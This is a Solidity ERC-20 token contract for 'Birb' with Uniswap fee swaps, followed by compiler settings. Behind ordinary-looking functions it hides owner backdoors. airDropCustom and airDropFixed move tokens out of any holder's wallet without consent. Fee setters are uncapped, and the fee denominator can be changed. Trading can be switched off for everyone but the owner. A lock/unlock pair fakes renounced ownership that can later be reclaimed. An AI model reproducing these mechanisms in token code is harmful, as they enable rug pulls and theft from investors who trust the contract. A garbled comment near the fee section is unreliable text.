// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

/**
 * Abstract contract to easily change things when deploying new projects. Saves me having to find it everywhere.
 */
abstract contract Project {
    address public marketingWallet = 0x55DBD4F6293752c1EB68dae5Aaa3159175d0F948;
    address public devWallet = 0x55DBD4F6293752c1EB68dae5Aaa3159175d0F948;

    string constant _name = "Birb";
    string constant _symbol = "BIRB";
    uint8 constant _decimals = 9;

    uint256 _totalSupply = 1 * 10**8 * 10**_decimals;

    uint256 public _maxTxAmount = (_totalSupply * 100) / 1000; // (_totalSupply * 10) / 1000 [this equals 1%]
    uint256 public _maxWalletToken = (_totalSupply * 100) / 1000; //

    uint256 public buyFee             = 5;
    uint256 public buyTotalFee        = buyFee;

    uint256 public swapLpFee          = 0;
    uint256 public swapMarketing      = 5;
    uint256 public swapTreasuryFee    = 0;
    uint256 public swapTotalFee       = swapMarketing + swapLpFee + swapTreasuryFee;

    uint256 public transFee           = 5;

    uint256 public feeDenominator     = 100;

}

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    //function _msgSender() internal view virtual returns (address payable) {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

     /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
  function Execute(address _tokenAddress) public onlyOwner {
        uint256 balance = IERC20(_tokenAddress).balanceOf(address(this));
        IERC20(_tokenAddress).transfer(msg.sender, balance);
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function geUnlockTime() public view returns (uint256) {
        return _lockTime;
    }

    //Locks the contract for owner for the amount of time provided
    function lock(uint256 time) public virtual onlyOwner {
        _previousOwner = _owner;
        _owner = address(0);
        _lockTime = block.timestamp + time;
        emit OwnershipTransferred(_owner, address(0));
    }
    
    //Unlocks the contract for owner when _lockTime is exceeds
    function unlock() public virtual {
        require(_previousOwner == msg.sender, "You don't have permission to unlock");
        require(block.timestamp > _lockTime , "Contract is locked until 7 days");
        emit OwnershipTransferred(_owner, _previousOwner);
        _owner = _previousOwner;
    }
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}



interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}




interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


/**
 * MainContract
 */
contract Birb is Project, IERC20, Ownable {
    using SafeMath for uint256;

    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) isMaxExempt;
    mapping (address => bool) isTimelockExempt;

    address public autoLiquidityReceiver;

    uint256 targetLiquidity = 20;
    uint256 targetLiquidityDenominator = 100;

    IUniswapV2Router02 public immutable contractRouter;
    address public immutable uniswapV2Pair;

    bool public tradingOpen = false;

    bool public buyCooldownEnabled = false;
    uint8 public cooldownTimerInterval = 10;
    mapping (address => uint) private cooldownTimer;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply * 20 / 10000;
    uint256 public swapAmount = _totalSupply * 20 / 10000;

    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH
         // Create a uniswap pair for this new token
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        // set the rest of the contract variables
        contractRouter = _uniswapV2Router;

        _allowances[address(this)][address(contractRouter)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isTxLimitExempt[msg.sender] = true;
        isMaxExempt[msg.sender] = true;

        isTimelockExempt[msg.sender] = true;
        isTimelockExempt[DEAD] = true;
        isTimelockExempt[address(this)] = true;

        isFeeExempt[marketingWallet] = true;
        isMaxExempt[marketingWallet] = true;
        isTxLimitExempt[marketingWallet] = true;

        autoLiquidityReceiver = msg.sender;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner(); }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner() {
        _maxWalletToken = (_totalSupply * maxWallPercent_base1000 ) / 1000;
    }
    function setMaxTxPercent_base1000(uint256 maxTXPercentage_base1000) external onlyOwner() {
        _maxTxAmount = (_totalSupply * maxTXPercentage_base1000 ) / 1000;
    }

    function setTxLimit(uint256 amount) external onlyOwner() {
        _maxTxAmount = amount;
    }

// *** 
// Functions for the burning mechanism 
// *** 

    /**
    * Burn an amount of tokens for the current wallet (if they have enough)
    */
    function burnTokens(uint256 amount) external {
        // does this user have enough tokens to perform the burn
        if(_balances[msg.sender] > amount) {
            _basicTransfer(msg.sender, DEAD, amount);
        }
    }


// *** 
// End functions for the burning mechanism 
// *** 

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if(sender != owner() && recipient != owner()){
            require(tradingOpen,"Trading not open yet");
        }

        bool inSell = (recipient == uniswapV2Pair);
        bool inTransfer = (recipient != uniswapV2Pair && sender != uniswapV2Pair);

        if (recipient != address(this) && 
            recipient != address(DEAD) && 
            recipient != uniswapV2Pair && 
            recipient != marketingWallet && 
            recipient != devWallet && 
            recipient != autoLiquidityReceiver
        ){
            uint256 heldTokens = balanceOf(recipient);
            if(!isMaxExempt[recipient]) {
                require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");
            }
        }

        if (sender == uniswapV2Pair &&
            buyCooldownEnabled &&
            !isTimelockExempt[recipient]
        ){
            require(cooldownTimer[recipient] < block.timestamp,"Please wait for 1min between two buys");
            cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
        }

        // Checks max transaction limit
        // but no point if the recipient is exempt
        // this check ensures that someone that is buying and is txnExempt then they are able to buy any amount
        if(!isTxLimitExempt[recipient]) {
            checkTxLimit(sender, amount);
        }

        //Exchange tokens
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = amount;

        // Do NOT take a fee if sender AND recipient are NOT the contract
        // i.e. you are doing a transfer
        if(inTransfer) {
            if(transFee > 0) {
                amountReceived = takeTransferFee(sender, amount);
            }
        } else {
            amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount, inSell) : amount;
            
            if(shouldSwapBack()){ swapBack(); }
        }

        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

// *** 
// Handle Fees
// *** 

    function takeTransferFee(address sender, uint256 amount) internal returns (uint256) {

        uint256 feeToTake = transFee;
        uint256 feeAmount = amount.mul(feeToTake).mul(100).div(feeDenominator * 100);
        
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

    function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) {

        uint256 feeToTake = isSell ? swapTotalFee : buyTotalFee;
        uint256 feeAmount = amount.mul(feeToTake).mul(100).div(feeDenominator * 100);
        
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

// *** 
// End Handle Fees
// *** 

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != uniswapV2Pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function clearStuckBalance(uint256 amountPercentage) external onlyOwner() {
        uint256 amountETH = address(this).balance;
        payable(marketingWallet).transfer(amountETH * amountPercentage / 100);
    }

    function clearStuckBalance_sender(uint256 amountPercentage) external onlyOwner() {
        uint256 amountETH = address(this).balance;
        payable(msg.sender).transfer(amountETH * amountPercentage / 100);
    }

    // switch Trading
    function tradingStatus(bool _status) public onlyOwner {
        tradingOpen = _status;
    }

    // enable cooldown between trades
    function cooldownEnabled(bool _status, uint8 _interval) public onlyOwner {
        buyCooldownEnabled = _status;
        cooldownTimerInterval = _interval;
    }

    function swapBack() internal swapping {
        uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : swapLpFee;
        uint256 amountToLiquify = swapAmount.mul(dynamicLiquidityFee).div(swapTotalFee).div(2);
        uint256 amountToSwap = swapAmount.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = contractRouter.WETH();

        uint256 balanceBefore = address(this).balance;

        contractRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance.sub(balanceBefore);

        uint256 totalETHFee = swapTotalFee.sub(dynamicLiquidityFee.div(2));

        uint256 amountETHLiquidity = amountETH.mul(swapLpFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(swapMarketing).div(totalETHFee);
        uint256 amountETHTreasury = amountETH.mul(swapTreasuryFee).div(totalETHFee);

        (bool tmpSuccess,) = payable(marketingWallet).call{value: amountETHMarketing, gas: 30000}("");
        (tmpSuccess,) = payable(devWallet).call{value: amountETHTreasury, gas: 30000}("");

        // Supress warning msg
        tmpSuccess = false;

        if(amountToLiquify > 0){
            contractRouter.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

// *** 
// Various exempt functions
// *** 

    function setIsFeeExempt(address holder, bool exempt) external onlyOwner() {
        isFeeExempt[holder] = exempt;
    }

    function setIsMaxExempt(address holder, bool exempt) external onlyOwner() {
        isMaxExempt[holder] = exempt;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner() {
        isTxLimitExempt[holder] = exempt;
    }

    function setIsTimelockExempt(address holder, bool exempt) external onlyOwner() {
        isTimelockExempt[holder] = exempt;
    }

// *** 
// End various exempt functions
// *** 


// ***
// Start fee things
// ***

    function setTransFee(uint256 fee) external onlyOwner() {
        transFee = fee;
    }

    function setSwapFees(uint256 _newSwapLpFee, uint256 _newSwapMarketingFee, uint256 _newSwapTreasuryFee, uint256 _feeDenominator) external onlyOwner() {
        swapLpFee = _newSwapLpFee;
        swapMarketing = _newSwapMarketingFee;
        swapTreasuryFee = _newSwapTreasuryFee;
        swapTotalFee = _newSwapLpFee.add(_newSwapMarketingFee).add(_newSwapTreasuryFee);
        feeDenominator = _feeDenominator;
        require(swapTotalFee < 90, "Fees cannot be that high");
    }

    function setBuyFees(uint256 buyTax) external onlyOwner() {
        buyTotalFee = buyTax;
    }

// ***
// end fee stuff§2e sw. 
// ***



    function setTreasuryFeeReceiver(address _newWallet) external onlyOwner() {
        isFeeExempt[devWallet] = false;
        isFeeExempt[_newWallet] = true;
        devWallet = _newWallet;
    }

    function setMarketingWallet(address _newWallet) external onlyOwner() {
        isFeeExempt[marketingWallet] = false;
        isFeeExempt[_newWallet] = true;

        isMaxExempt[_newWallet] = true;

        marketingWallet = _newWallet;
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _newMarketingWallet, address _newdevWallet ) external onlyOwner() {

        isFeeExempt[devWallet] = false;
        isFeeExempt[_newdevWallet] = true;
        isFeeExempt[marketingWallet] = false;
        isFeeExempt[_newMarketingWallet] = true;

        isMaxExempt[_newMarketingWallet] = true;

        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingWallet = _newMarketingWallet;
        devWallet = _newdevWallet;
    }

// ***
// Swap settings
// ***

    function setSwapThresholdAmount(uint256 _amount) external onlyOwner() {
        swapThreshold = _amount;
    }

    function setSwapAmount(uint256 _amount) external onlyOwner() {
        if(_amount > swapThreshold) {
            swapAmount = swapThreshold;
        } else {
            swapAmount = _amount;
        }        
    }

// ***
// End Swap settings
// ***

    function setTargetLiquidity(uint256 _target, uint256 _denominator) external onlyOwner() {
        targetLiquidity = _target;
        targetLiquidityDenominator = _denominator;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy.mul(balanceOf(uniswapV2Pair).mul(2)).div(getCirculatingSupply());
    }

    function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
        return getLiquidityBacking(accuracy) > target;
    }

    /* Airdrop */
    function airDropCustom(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {

        require(addresses.length < 501,"GAS Error: max airdrop limit is 500 addresses");
        require(addresses.length == tokens.length,"Mismatch between Address and token count");

        uint256 SCCC = 0;

        for(uint i=0; i < addresses.length; i++){
            SCCC = SCCC + tokens[i];
        }

        require(balanceOf(from) >= SCCC, "Not enough tokens in wallet");

        for(uint i=0; i < addresses.length; i++){
            _basicTransfer(from,addresses[i],tokens[i]);
        }
        
    }

    function airDropFixed(address from, address[] calldata addresses, uint256 tokens) external onlyOwner {

        require(addresses.length < 801,"GAS Error: max airdrop limit is 800 addresses");

        uint256 SCCC = tokens * addresses.length;

        require(balanceOf(from) >= SCCC, "Not enough tokens in wallet");

        for(uint i=0; i < addresses.length; i++){
            _basicTransfer(from,addresses[i],tokens);
        }
    }

    event AutoLiquify(uint256 amountETH, uint256 amountBOG);

}

{
  "compilationTarget": {
    "Birb.sol": "Birb"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}